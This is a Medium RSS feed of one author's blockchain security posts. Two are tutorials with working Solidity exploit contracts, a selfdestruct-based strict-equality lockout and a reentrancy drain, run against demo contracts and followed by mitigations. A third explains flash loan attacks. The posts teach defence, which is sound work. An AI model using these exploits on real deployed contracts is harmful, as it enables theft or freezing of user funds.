<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Jason Schwarz on Medium]]></title>
        <description><![CDATA[Stories by Jason Schwarz on Medium]]></description>
        <link>https://medium.com/@jason.c.schwarz?source=rss-48ad9fe56a0a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*zf2Ru_5LpBCC0gDghH4cGA.png</url>
            <title>Stories by Jason Schwarz on Medium</title>
            <link>https://medium.com/@jason.c.schwarz?source=rss-48ad9fe56a0a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 05:40:20 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@jason.c.schwarz/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Exploiting Smart Contracts: Strict Equalities]]></title>
            <link>https://medium.com/@jason.c.schwarz/exploiting-smart-contracts-strict-equalities-4bd21f2c26ad?source=rss-48ad9fe56a0a------2</link>
            <guid isPermaLink="false">https://medium.com/p/4bd21f2c26ad</guid>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[security-audit]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[attack-vector]]></category>
            <dc:creator><![CDATA[Jason Schwarz]]></dc:creator>
            <pubDate>Mon, 15 Jul 2024 10:27:03 GMT</pubDate>
            <atom:updated>2024-07-15T11:59:18.486Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N0b8IeE5zbvMFFZs9GsAkQ.png" /></figure><p>This guide covers the <strong>dangerous-strict-equalities</strong> attack vector, providing detailed setup instructions, code examples, execution steps, and crucial mitigation strategies.</p><h3>Introduction</h3><p>A notable moment in the history of this vulnerability occurred on July 1st, 2019. On this date, a denial-of-service (DoS) vulnerability known as <strong>“Gridlock”</strong> was disclosed. This bug was discovered in an Ethereum smart contract deployed on <a href="https://www.edgeware.io/">Edgeware</a>, which managed up to $900 million worth of Ether.</p><ul><li><strong>Acknowledgment:</strong> Edgeware promptly <a href="https://blog.edgewa.re/a-denial-of-service-bug-in-the-edgeware-lockdrop/">acknowledged</a> the bug.</li><li><strong>Resolution:</strong> They addressed it in a <a href="https://github.com/hicommonwealth/edgeware-lockdrop/commit/6c5692d9d85cf1ab141bd8aec99e5dc3e971efef#diff-78e7ad2bab2abfef7a42387cf9e5b336R65">commit</a>.</li></ul><p>For an in-depth understanding, I highly recommend reading the linked report, which offers an excellent explanation of this attack vector.</p><h3>Understanding the Dangerous Strict Equalities Vector</h3><p>The <strong>dangerous-strict-equalities</strong> vector demonstrates how seemingly minor issues can lead to significant risks. By incorporating strict equality (==) within an assert statement, a contract can become vulnerable to a denial-of-service attack like &quot;Gridlock.&quot;</p><h3>Example Code</h3><p>You can find the code for demonstration purposes <a href="https://github.com/passandscore/smart-contracts/blob/main/hacks-by-example/strict-equality/src/StrictEquality.sol">here</a>. Feel free to ⭐️ the repository to bookmark it for future reference.</p><h3>The Vulnerable Contract</h3><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.8.25;<br><br>contract VulnerableContract {<br>  <br>    uint256 private totalDeposited;<br>    function deposit() external payable {<br>        require(msg.value &gt; 0, &quot;Deposit amount must be greater than zero&quot;);<br>        <br>        totalDeposited += msg.value;<br>    }<br>    function withdrawAll() external {<br>        assert(address(this).balance == totalDeposited);<br>        totalDeposited = 0;    <br>        payable(msg.sender).transfer(address(this).balance);<br>    }<br>   <br>    function getBalance() external view returns (uint256) {<br>        return address(this).balance;<br>    }<br>    function getTotalDeposited() external view returns (uint256) {<br>        return totalDeposited;<br>    }<br>}</pre><p>Above, we have the VulnerableContract, which permits depositing and withdrawing funds. <strong>Note:</strong> This contract is for educational purposes only and has not been audited. It is not suitable for production use.</p><p>With that in mind, let’s continue.</p><h3>The Challenge</h3><p>In this section, we will play the role of an attacker and intentionally attempt to gridlock the VulnerableContract. You succeed if, after your attack, the funds are no longer able to be withdrawn.</p><p>If you feel confident, pause here and try to exploit the contract based on the information provided above.</p><p>For those who need more guidance, let’s delve deeper into the details.</p><h3>How the Attack Works</h3><p>To gridlock the VulnerableContract, our goal is to force it to accept Ether in a way that disrupts its normal operation. Here are two common methods to achieve this:</p><h3>1. Fallback Function</h3><p>If the contract has a payable fallback function (receive() external payable), you can send Ether directly to the contract&#39;s address, triggering this function.</p><pre>contract Attacker {<br>    address payable vulnerableContract = 0x123...<br>    <br>    // Send Ether directly to the VulnerableContract<br>    function forceSendEther() external payable {<br>        // Send Ether to the contract address<br>        vulnerableContract.transfer(msg.value);<br>    }<br>}</pre><h3>2. Payable Function</h3><p>If the contract has a specific payable function that accepts Ether, you can call this function and send Ether along with the transaction.</p><pre>contract Attacker {<br>    address payable vulnerableContract = 0x123...;<br>    <br>    // Call a payable function on the VulnerableContract<br>    function forceSendEther() external payable {<br>        // Call the payable function with Ether<br>        (bool success, ) = vulnerableContract.call{value: msg.value}(&quot;&quot;);<br>        require(success, &quot;Failed to send Ether&quot;);<br>    }<br>}</pre><p>However, our VulnerableContract lacks a fallback function. Although the deposit function is marked as payable, it cannot be used for our attack. This is because the contract updates both its balance and the totalDeposited state variable during the execution of the deposit function.</p><p>To successfully gridlock this contract, we need to create a mismatch between the contract’s balance and its totalDeposited value. We will achieve this using a method called selfdestruct.</p><h3>What is selfdestruct?</h3><p>The selfdestruct(address payable recipient) function in Solidity performs the following actions:</p><ol><li><strong>Immediate Ether Transfer</strong>: It transfers the contract’s remaining Ether balance directly to the specified recipient address.</li><li><strong>Irreversibility</strong>: Once invoked, selfdestruct permanently removes the contract, including all associated bytecode and state, from the blockchain. The contract cannot be restored or reactivated.</li><li><strong>Storage Clearance</strong>: The contract’s storage is cleared, which helps free up space on the blockchain and reduces the cost of future transactions involving the destroyed contract address.</li><li><strong>Gas Refund</strong>: It refunds a portion of the gas used for the transaction, incentivizing the removal of contracts that are no longer in use.</li></ol><blockquote><em>Warning: “selfdestruct” has been deprecated. Note that, starting from the Cancun hard fork, the underlying opcode no longer deletes the code and data associated with an account and only transfers its Ether to the beneficiary, unless executed in the same transaction in which the contract was created</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xrd2F-wMG_Q9k78q4RcTog.jpeg" /></figure><h3>Attack Contract Code</h3><p>The attack contract is designed to exploit the target contracts vulnerability:</p><pre>contract Attack {<br>    VulnerableContract public target;<br><br>constructor(address _target) {<br>        target = VulnerableContract(_target);<br>    }<br>    receive() external payable { }<br>    <br>    function attack() external payable {<br>        selfdestruct(payable(address(target)));<br>    }<br>}</pre><h3>Attack Steps and Explanation</h3><h3>1. Deploy the Attack Contract</h3><ul><li><strong>Step</strong>: Deploy the Attack contract and provide the Target contract&#39;s address to its constructor.</li><li><strong>Purpose</strong>: To enable the Attack contract to interact with the Target contract.</li></ul><h3>2. Perform the Attack</h3><ul><li><strong>Step</strong>: Call the attack function with a transaction value of 1 wei.</li><li><strong>Code</strong>: selfdestruct(payable(address(target)));</li><li><strong>Purpose</strong>: To send Ether directly to the Target contract without invoking any specific function.</li></ul><h3>3. Verify the Target Contract’s Balance</h3><ul><li><strong>Step</strong>: Call the getBalance and getTotalDeposited functions.</li><li><strong>Purpose</strong>: To confirm that the balance of the Target contract differs from its internal totalDeposited state, indicating a successful attack.</li></ul><h3>4. Attempt to Withdraw Funds</h3><ul><li><strong>Step</strong>: Call the withdrawAll function of the Target contract.</li><li><strong>Code</strong>: target.withdrawAll();</li><li><strong>Purpose</strong>: To verify whether the Target contract&#39;s funds have been gridlocked, making withdrawal impossible.</li></ul><h3>Try It on Remix</h3><p>Deploy and interact with the contracts on <a href="https://remix.ethereum.org/">Remix IDE</a> to observe how the strict equality attack works in practice. You can use this direct link to load the code into Remix: <a href="https://remix.ethereum.org/#url=https://github.com/passandscore/web3-blogs/blob/main/blog-data/8/src/StrictEquality.sol">Load on Remix</a>.</p><p><strong>Target Contract Deployment:</strong></p><ol><li>Use a dedicated wallet and deploy the VulnerableContract contract.</li><li>Deposit 50 ETH using the deposit method.</li><li>Verify the contract balance is 50 ETH.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j2AtGcwPZ0VypYIWPmyK5Q.jpeg" /></figure><p><strong>Attack Contract Deployment:</strong></p><ol><li>Copy the address of the VulnerableContract</li><li>Set msg.value to 1 wei</li><li>Use a dedicated wallet and deploy the Attack contract passing in the parameter.</li><li>Call the attack method.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9ruGPb2YpMZ8xcT4CZY8sw.jpeg" /></figure><p><strong>Confirm the results</strong></p><ol><li>Check the contract balance with getbalance</li><li>Check the value of totalDeposited with getTotalDeposited</li><li>Ensure that a mismatch is present</li><li>Attempt to withdraw all the funds.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SzvNmi8rbewXVmmSd3O-Bw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*Xw4vYRei38m7gkjR6iP6aw.png" /></figure><h3>Running Unit Tests</h3><p>If Remix isn’t your preferred tool, you can achieve the same results by running the tests using <a href="https://book.getfoundry.sh/">Foundry.</a></p><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.8.25;<br><br>import &quot;forge-std/Test.sol&quot;;<br>import {VulnerableContract, Attack} from &quot;../src/StrictEquality.sol&quot;;<br><br>contract VulnerableContractTest is Test {<br><br>    VulnerableContract private vulnerableContract;<br>    Attack private attackContract;<br>    function setUp() public {<br>        vulnerableContract = new VulnerableContract();<br>        attackContract = new Attack(address(vulnerableContract));<br>    }<br>    <br>    function testAttack() public {<br>        // Deposit 1 Ether to the VulnerableContract<br>        uint256 initialDeposit = 1 ether;<br>        vm.deal(address(this), initialDeposit);<br>        vulnerableContract.deposit{value: initialDeposit}();<br><br>        // Check initial balances<br>        assertEq(vulnerableContract.getBalance(), initialDeposit);<br>        assertEq(vulnerableContract.getTotalDeposited(), initialDeposit);<br><br>        // Fund the Attack contract<br>        uint256 attackFunds = 1 ether;<br>        vm.deal(address(attackContract), attackFunds);<br>        <br>        // Verify that the Attack contract has the correct balance<br>        assertEq(address(attackContract).balance, attackFunds);<br>        attackContract.attack();<br>     <br>        // VulnerableContract now has 2 Ether, <br>        // but totalDeposited is still 1 Ether<br>        assertEq(vulnerableContract.getBalance(), initialDeposit + attackFunds);<br>        assertEq(vulnerableContract.getTotalDeposited(), initialDeposit);<br><br>        // Attempt to withdraw all funds (should fail)<br>        vm.expectRevert();<br>        vulnerableContract.withdrawAll();<br>    }<br>}</pre><h3>Follow these steps:</h3><ul><li><strong>Install Foundry</strong>: If you don’t have Foundry installed, follow the <a href="https://book.getfoundry.sh/getting-started/installation">installation guide</a>.</li></ul><pre>git clone https://github.com/passandscore/web3-blogs.git<br>cd blog-data/8<br>forge build<br>forge test -vvvv</pre><p>We utilize the -vvvv flag to significantly increase verbosity in log traces, which is crucial for thoroughly examining and verifying the success of our attack. While navigating through these detailed logs may appear challenging at first, engaging with this practice is highly beneficial.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8iatJxta0Ycng14-qpH73w.jpeg" /></figure><h3>Mitigation Measures</h3><p>To protect yourself from this attack vector, due diligence in incorporating strict equalities is essential. In our example, we can address the issue by implementing the same approach that Edgeware used: replacing the strict equality check with &gt;= (greater than or equal to). This adjustment helps prevent gridlock and ensures the safety of user funds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bZs0CZVuFCDyJnF74XE2Fw.jpeg" /><figcaption>Edgeware Resolution Commit</figcaption></figure><p>As demonstrated, it is possible to create unit tests to detect this attack vector, but this requires advanced techniques. Often, unit test coverage might be insufficient because exploits tend to introduce edge cases that may not have been considered. Therefore, it is crucial to ensure that all code intended for deployment undergoes a comprehensive audit by a reputable security firm. Proper auditing helps identify vulnerabilities and ensures the robustness of your smart contracts against potential attacks.</p><h3>Summary</h3><p>Congratulations on reaching this point! Armed with this knowledge, you now have the tools to identify and defend against strict-equality attacks.</p><p>This tutorial has demonstrated the mechanics of a strict-equality attack by exploiting the vulnerability in the VulnerableContract. It underscores the critical importance of secure coding practices and emphasizes the necessity of both comprehensive unit tests and thorough security audits to safeguard smart contracts against such vulnerabilities.</p><h3>Resources</h3><ul><li><a href="https://www.edgeware.io/">Edgeware</a></li><li><a href="https://blog.edgewa.re/a-denial-of-service-bug-in-the-edgeware-lockdrop/">Edgeware Vulnerability Acknowledgment</a></li><li><a href="https://github.com/hicommonwealth/edgeware-lockdrop/commit/6c5692d9d85cf1ab141bd8aec99e5dc3e971efef#diff-78e7ad2bab2abfef7a42387cf9e5b336R65">Edgeware Vulnerability Resolution</a></li><li><a href="https://github.com/passandscore/web3-blogs/blob/main/blog-data/8/src/StrictEquality.sol">Demo Code</a></li><li><a href="https://remix.ethereum.org/">Remix IDE</a></li><li><a href="https://remix.ethereum.org/#url=https://github.com/passandscore/web3-blogs/blob/main/blog-data/8/src/StrictEquality.sol">Remix IDE — With Demo Code</a></li><li><a href="https://book.getfoundry.sh/">Foundry</a></li></ul><p><strong>Connect with me on social media:</strong></p><ul><li><a href="https://x.com/passandscore">X</a></li><li><a href="https://github.com/passandscore">GitHub</a></li><li><a href="https://www.linkedin.com/in/jason-schwarz-75b91482/">LinkedIn</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4bd21f2c26ad" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting Smart Contracts: Understanding and Performing Reentrancy Attacks in Solidity]]></title>
            <link>https://medium.com/coinmonks/exploiting-smart-contracts-understanding-and-performing-reentrancy-attacks-in-solidity-b6aa29337828?source=rss-48ad9fe56a0a------2</link>
            <guid isPermaLink="false">https://medium.com/p/b6aa29337828</guid>
            <category><![CDATA[hacks]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[reentrancy-attack]]></category>
            <category><![CDATA[exploit]]></category>
            <dc:creator><![CDATA[Jason Schwarz]]></dc:creator>
            <pubDate>Mon, 24 Jun 2024 19:51:37 GMT</pubDate>
            <atom:updated>2024-07-15T10:19:05.988Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zdXBkPp4iTgSRvmbyaKY7Q.png" /></figure><p>In this tutorial, we demonstrate how to create a reentrancy exploit in Solidity, including detailed setup, code examples, and execution steps, followed by essential mitigation strategies</p><h3>Introduction</h3><p>Among all attack vectors in blockchain security, reentrancy stands out as particularly significant. One of the most notable incidents involving reentrancy was the 2016 DAO hack, in which $60 million worth of Ether was stolen. This event prompted a hard fork of the Ethereum blockchain to recover the stolen funds, resulting in the creation of two distinct blockchains: Ethereum and Ethereum Classic.</p><p>In the aftermath, numerous resources and tools have been developed to prevent reentrancy vulnerabilities. Despite these efforts, modern smart contracts are still being deployed with this critical flaw. Thus, reentrancy remains a persistent threat.</p><p>For a comprehensive historical record of reentrancy attacks, refer to this <a href="https://github.com/passandscore/web3-blogs/blob/main/blog-data/7/contract.sol">GitHub repository</a>.</p><h3>Reentrancy Explained</h3><p>In this tutorial, we’ll simulate a reentrancy attack on the EtherStore contract. You can view the code<a href="https://github.com/passandscore/web3-blogs/blob/main/blog-data/7/contract.sol"> here</a>. A reentrancy attack occurs when an attacker repeatedly calls a vulnerable function before the initial call completes, exploiting the contract&#39;s operation sequence to deplete its funds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-cNoFQwUHcRzI1q5K-0elg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GiexVt1IcUy9tNSOWF7_RA.jpeg" /></figure><p>The above example illustrates the sequence of operations taken by an attacker, including the balance columns tracking the current balance of each contract after each action has been executed.</p><h3>The Vulnerable Contract</h3><p>The EtherStore contract allows users to deposit and withdraw ETH but contains a reentrancy vulnerability. This vulnerability exists because the user&#39;s balance is updated <strong>after</strong> transferring ETH, allowing an attacker to withdraw more funds than initially deposited.</p><pre>/**<br> * @title EtherStore<br> * @dev A simple contract for depositing and withdrawing ETH.<br> * Vulnerable to reentrancy attacks.<br> */<br>contract EtherStore {<br>    mapping(address =&gt; uint256) public balances;<br><br>    /**<br>     * @notice Deposit Ether into the contract<br>     */<br>    function deposit() public payable {<br>        balances[msg.sender] += msg.value;<br>    }<br><br>    <br>    function withdraw() public {<br>        uint256 bal = balances[msg.sender];<br>        require(bal &gt; 0, &quot;Insufficient balance&quot;);<br>        (bool sent, ) = msg.sender.call{value: bal}(&quot;&quot;);<br>        require(sent, &quot;Failed to send Ether&quot;);<br>        balances[msg.sender] = 0;<br>    }<br><br>    /**<br>     * @notice Get the total balance of the contract<br>     * @return The balance of the contract in wei<br>     */<br>    function getBalance() public view returns (uint256) {<br>        return address(this).balance;<br>    }<br>}</pre><h3>How the Attack Works</h3><p>By injecting malicious code into the EtherStore contract&#39;s execution flow, specifically targeting the withdrawal process, an attacker can exploit the timing of the balance update. Here’s a step-by-step breakdown:</p><ol><li><strong>Initial Withdrawal Call</strong>: The attacker initiates a withdrawal from their balance in the EtherStore contract.</li><li><strong>Recursive Call Injection</strong>: Instead of completing the withdrawal process, the attacker’s contract makes a recursive call to the withdraw function of the EtherStore. This happens before the original withdrawal transaction updates the attacker&#39;s balance to zero.</li><li><strong>Repeated Withdrawals</strong>: Each recursive call triggers another withdrawal before the balance is updated, causing the contract to send ETH repeatedly based on the initial balance.</li><li><strong>Balance Misperception</strong>: Since the EtherStore contract only updates the user&#39;s balance after transferring funds, it continues to believe the attacker has a balance, thus allowing multiple withdrawals in quick succession.</li><li><strong>Exploited State</strong>: This recursive loop continues until the contract’s funds are depleted or the gas limit is reached, allowing the attacker to withdraw significantly more ETH than initially deposited.</li></ol><h3>Attack Contract Code</h3><p>The attack contract is designed to exploit the EtherStore&#39;s vulnerability:</p><pre>contract Attack {<br>    EtherStore public etherStore;<br>    uint256 constant AMOUNT = 1 ether;<br><br>constructor(address _etherStoreAddress) {<br>        etherStore = EtherStore(_etherStoreAddress);<br>    }<br>   <br>    function _triggerWithdraw() internal {<br>        if (address(etherStore).balance &gt;= AMOUNT) {<br>            etherStore.withdraw();<br>        }<br>    }<br>   <br>    fallback() external payable {<br>        _triggerWithdraw();<br>    }<br>    <br>    receive() external payable {<br>        _triggerWithdraw();<br>    }<br>  <br>    function attack() external payable {<br>        require(msg.value &gt;= AMOUNT, &quot;Insufficient attack amount&quot;);<br>        etherStore.deposit{value: AMOUNT}();<br>        etherStore.withdraw();<br>    }<br><br>    /**<br>     * @notice Collects Ether from the Attack contract after the exploit<br>     */<br>    function collectEther() public {<br>        payable(msg.sender).transfer(address(this).balance);<br>    }<br>    <br>    /**<br>     * @notice Gets the balance of the Attack contract<br>     * @return The balance of the contract in wei<br>     */<br>    function getBalance() public view returns (uint256) {<br>        return address(this).balance;<br>    }<br>}</pre><h3>Explanation</h3><p><strong>Attack Contract Initialization</strong>:</p><ul><li>The Attack contract is initialized with the address of the EtherStore contract.</li><li>The AMOUNT is set to 1 ETH to ensure a consistent value used in reentrancy checks.</li></ul><p><strong>Fallback and Receive Functions</strong>:</p><ul><li>Both functions call _triggerWithdraw, which calls withdraw on the EtherStore if it has enough balance. This repeats the withdrawal, exploiting the reentrancy vulnerability.</li></ul><p><strong>Attack Function</strong>:</p><ul><li>The attack function deposits 1 ETH into the EtherStore and immediately calls withdraw, starting the reentrancy loop.</li></ul><p><strong>Collecting Stolen Ether</strong>:</p><ul><li>The collectEther function transfers the contract’s balance to the attacker.</li></ul><h3>Try It on Remix</h3><p>Deploy and interact with the contracts on <a href="https://remix.ethereum.org/">Remix IDE</a> to observe how the reentrancy attack works in practice. You can use this direct link to load the code into Remix: <a href="https://remix.ethereum.org/#url=https://github.com/passandscore/web3-blogs/blob/main/blog-data/7/contract.sol&amp;lang=en&amp;optimize=false&amp;runs=200&amp;evmVersion=null&amp;version=soljson-v0.8.26+commit.8a97fa7a.js">Load on Remix</a>.</p><p><strong>EtherStore Contract Deployment:</strong></p><ol><li>Use a dedicated wallet and deploy the EtherStore contract.</li><li>Deposit 3 ETH using the deposit method.</li><li>Verify the contract balance is 3 ETH.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SuJUdQj4MsYn1dNcBssnpQ.jpeg" /></figure><p><strong>Attack Contract Deployment:</strong></p><ol><li>Use a dedicated wallet.</li><li>Deploy the Attack contract with the EtherStore contract address.</li><li>Deposit 1 ETH and run the attack method.</li><li>Verify that the EtherStore contract balance is now 0, and the Attack contract balance is 4 ETH.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tXJ-FdQ5IQZEuJmWRC2BXg.jpeg" /></figure><p>🎉 Congratulations! You’ve just successfully exploited a contract using the reentrancy attack vector.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*BSzgn1DYiU8bfrMgOfF28g.png" /></figure><p>While that was certainly informative, it’s my moral responsibility to provide you with solutions that will protect you from such potential attackers.</p><h3>Mitigation Measures</h3><p>To protect smart contracts from reentrancy attacks, consider the following strategies:</p><ol><li><strong>Update State First</strong>: Always update the contract state before making external calls to prevent reentrant calls from exploiting outdated state information.</li><li><strong>Use Reentrancy Guards</strong>: Implement reentrancy guards to prevent functions from being accessed repeatedly within the same transaction. The <a href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.9.6/contracts/security/ReentrancyGuard.sol">OpenZeppelin ReentrancyGuard</a> is a widely used and audited solution.</li></ol><h3>Protected Contract Example</h3><p>Below is an example of the EtherStore contract fully protected using a reentrancy guard.</p><pre>contract EtherStore is ReentrancyGuard {<br>    mapping(address =&gt; uint256) public balances;<br><br>function withdraw() nonReentrant public {<br>        uint256 bal = balances[msg.sender];<br><br>        require(bal &gt; 0, &quot;Insufficient balance&quot;);<br><br>        (bool sent, ) = msg.sender.call{value: bal}(&quot;&quot;);<br>        require(sent, &quot;Failed to send Ether&quot;);<br><br>        balances[msg.sender] = 0;<br>    }<br>}</pre><p><em>🟢 Added: is ReentrancyGuard to inherit reentrancy protection.</em></p><p><em>🟢 Modified: withdraw function with the nonReentrant modifier to prevent reentrancy attacks.</em></p><h3>Summary</h3><p>Congratulations on reaching this point! Armed with this knowledge, you now have the tools to both identify and defend against reentrancy attacks.</p><p>This tutorial has demonstrated the mechanics of a reentrancy attack by exploiting a vulnerable function in the EtherStore contract. It underscores the critical importance of secure coding practices, such as updating state before making external calls and implementing reentrancy guards, to effectively mitigate such vulnerabilities.</p><p><strong>Connect with me on social media:</strong></p><ul><li><a href="https://x.com/passandscore">X</a></li><li><a href="https://github.com/passandscore">GitHub</a></li><li><a href="https://www.linkedin.com/in/jason-schwarz-75b91482/">LinkedIn</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b6aa29337828" width="1" height="1" alt=""><hr><p><a href="https://medium.com/coinmonks/exploiting-smart-contracts-understanding-and-performing-reentrancy-attacks-in-solidity-b6aa29337828">Exploiting Smart Contracts: Understanding and Performing Reentrancy Attacks in Solidity</a> was originally published in <a href="https://medium.com/coinmonks">Coinmonks</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding Flash Loans in DeFi]]></title>
            <link>https://coinsbench.com/understanding-flash-loans-in-defi-e57f30a634ab?source=rss-48ad9fe56a0a------2</link>
            <guid isPermaLink="false">https://medium.com/p/e57f30a634ab</guid>
            <category><![CDATA[flash-loan]]></category>
            <category><![CDATA[defi]]></category>
            <category><![CDATA[arbitrage]]></category>
            <category><![CDATA[liquidity]]></category>
            <dc:creator><![CDATA[Jason Schwarz]]></dc:creator>
            <pubDate>Wed, 19 Jun 2024 23:29:45 GMT</pubDate>
            <atom:updated>2024-06-28T12:04:19.200Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6e0SaQ3AlRL6Du996Qvozw.png" /></figure><p>In the realm of decentralized finance (DeFi), opportunities often arise that demand swift action to capitalize on them. One such opportunity is arbitrage: when a token on Dex A can be bought at a lower price than it’s being sold for on Dex B, there’s potential for significant profit, which scales with the capital at your disposal. In traditional finance, this kind of opportunity is typically reserved for the wealthy. However, DeFi enables broader access, allowing anyone to leverage flash loans to momentarily become a major player in the market.</p><p>A flash loan enables borrowing from a liquidity pool without collateral. This means you can access funds beyond your current holdings to exploit arbitrage opportunities and potentially reap substantial gains in a single transaction.</p><h3>How does it work?</h3><p>Liquidity in DeFi pools is provided by liquidity providers who deposit funds to earn profits from transaction fees. Standard pools charge fees per token swap, while those offering flash loans charge fees per loan. Liquidity providers receive pool tokens representing their share and can withdraw their funds, plus fees, at any time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*4YSwinzswkAfqi8pVeaOQA.png" /></figure><p>Once funds are available, users can initiate loans. The sole requirement for withdrawing a loan is to return the borrowed funds plus fees to the contract within the same transaction. Failure to do so will revert the transaction, maintaining the network’s unchanged state.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*frwX4rz1yAN1b5FCeceX-A.jpeg" /></figure><p>With funds now in their possession, users can utilize them as needed. To capitalize on arbitrage opportunities, users purchase tokens on Dex A using the loaned amount. Subsequently, they sell these tokens on Dex B at a higher value. Finally, users repay the loan plus fees to the flash loan contract, keeping the profit generated from the opportunity.</p><h3>Are flash loans a vulnerability?</h3><p>Flash loans themselves are not vulnerabilities. Instead, they are a feature provided by decentralized finance (DeFi) protocols that allow users to borrow assets without collateral as long as the borrowed amount is returned within the same transaction. However, flash loans can be used by attackers to exploit vulnerabilities or weaknesses in smart contracts or protocols.</p><h3>Flash loan attacks</h3><p>Arbitrage, though not inherently malicious, can be perceived as an exploit since it leverages price discrepancies across decentralized exchanges. However, flash loan attacks are a genuine concern and have led to substantial financial losses.</p><h3>Flash Loan Attack Types:</h3><ul><li><strong>Arbitrage:</strong> Attackers can exploit price discrepancies between different decentralized exchanges (DEXs) using flash loans for arbitrage trades. Though not always malicious, this can result in losses for legitimate traders.</li><li><strong>Price manipulation:</strong> Attackers can use flash loans to manipulate cryptocurrency prices by artificially inflating or deflating their value, leading to significant losses for traders with orders based on these distorted prices.</li><li><strong>Smart contract exploits:</strong> Attackers can exploit vulnerabilities in DeFi smart contracts, such as reentrancy bugs or integer overflow errors, using flash loans. This allows them to steal funds from the protocol or carry out other attacks.</li></ul><h3>Real-World Cases Of Flash Loan Attacks</h3><ol><li>Balancer: $2.5 million (August 2023)</li><li>Curve Finance: $70 million (July 2023)</li><li>Euler Finance: $197 million (March 2023)</li><li>Cream Finance: $130 million (October 2021)</li><li>Harvest Finance: $34 million (October 2020)</li></ol><h3>Prevent Flash Loan Attacks</h3><ul><li><strong>Reentrancy Guards:</strong> Implement reentrancy guards to prevent functions from being called repeatedly in the same transaction.</li><li><strong>Decentralized Oracles:</strong> Use decentralized price oracles (e.g., Chainlink) that aggregate data from multiple sources to resist manipulation.</li><li><strong>Conduct Thorough Audits:</strong> Regularly audit smart contracts with reputable security firms to identify and fix vulnerabilities.</li></ul><h3>Practical Examples</h3><ol><li><strong>Aave:</strong> Uses time-weighted average price (TWAP) oracles and strict liquidation policies to minimize the risk of price manipulation via flash loans.</li><li><strong>Compound:</strong> Employs decentralized oracles and collateralization mechanisms to reduce the impact of flash loan attacks.</li><li><strong>Uniswap:</strong> Incorporates TWAP and decentralized pricing mechanisms to mitigate price manipulation risks.</li><li><strong>Synthetix:</strong> Implements multi-sig governance for critical updates and relies on decentralized oracles for price feeds.</li><li><strong>Balancer:</strong> Uses circuit breakers and multi-sig approvals for critical changes to prevent rapid, unauthorized changes in the protocol.</li></ol><h3>Final Thoughts</h3><p>I view flash loans as a tool that opens access to opportunities in DeFi, enabling any user to capitalize on opportunities that would otherwise be inaccessible. While malicious actors can exploit flash loans to target protocols, these risks can be mitigated. The greatest advantage of DeFi is the ability to create innovative tools like flash loans and continually adapt the ecosystem to reduce the likelihood of exploits.</p><p><strong>Connect with me on social media:</strong></p><ul><li><a href="https://x.com/passandscore">X</a></li><li><a href="https://github.com/passandscore">GitHub</a></li><li><a href="https://www.linkedin.com/in/jason-schwarz-75b91482/">LinkedIn</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e57f30a634ab" width="1" height="1" alt=""><hr><p><a href="https://coinsbench.com/understanding-flash-loans-in-defi-e57f30a634ab">Understanding Flash Loans in DeFi</a> was originally published in <a href="https://coinsbench.com/">CoinsBench</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Managing Whitelist Overload: Ensuring Effective NFT drops with Proof of Funds]]></title>
            <link>https://coinsbench.com/managing-whitelist-overload-ensuring-effective-nft-drops-with-proof-of-funds-d1f5d08943fe?source=rss-48ad9fe56a0a------2</link>
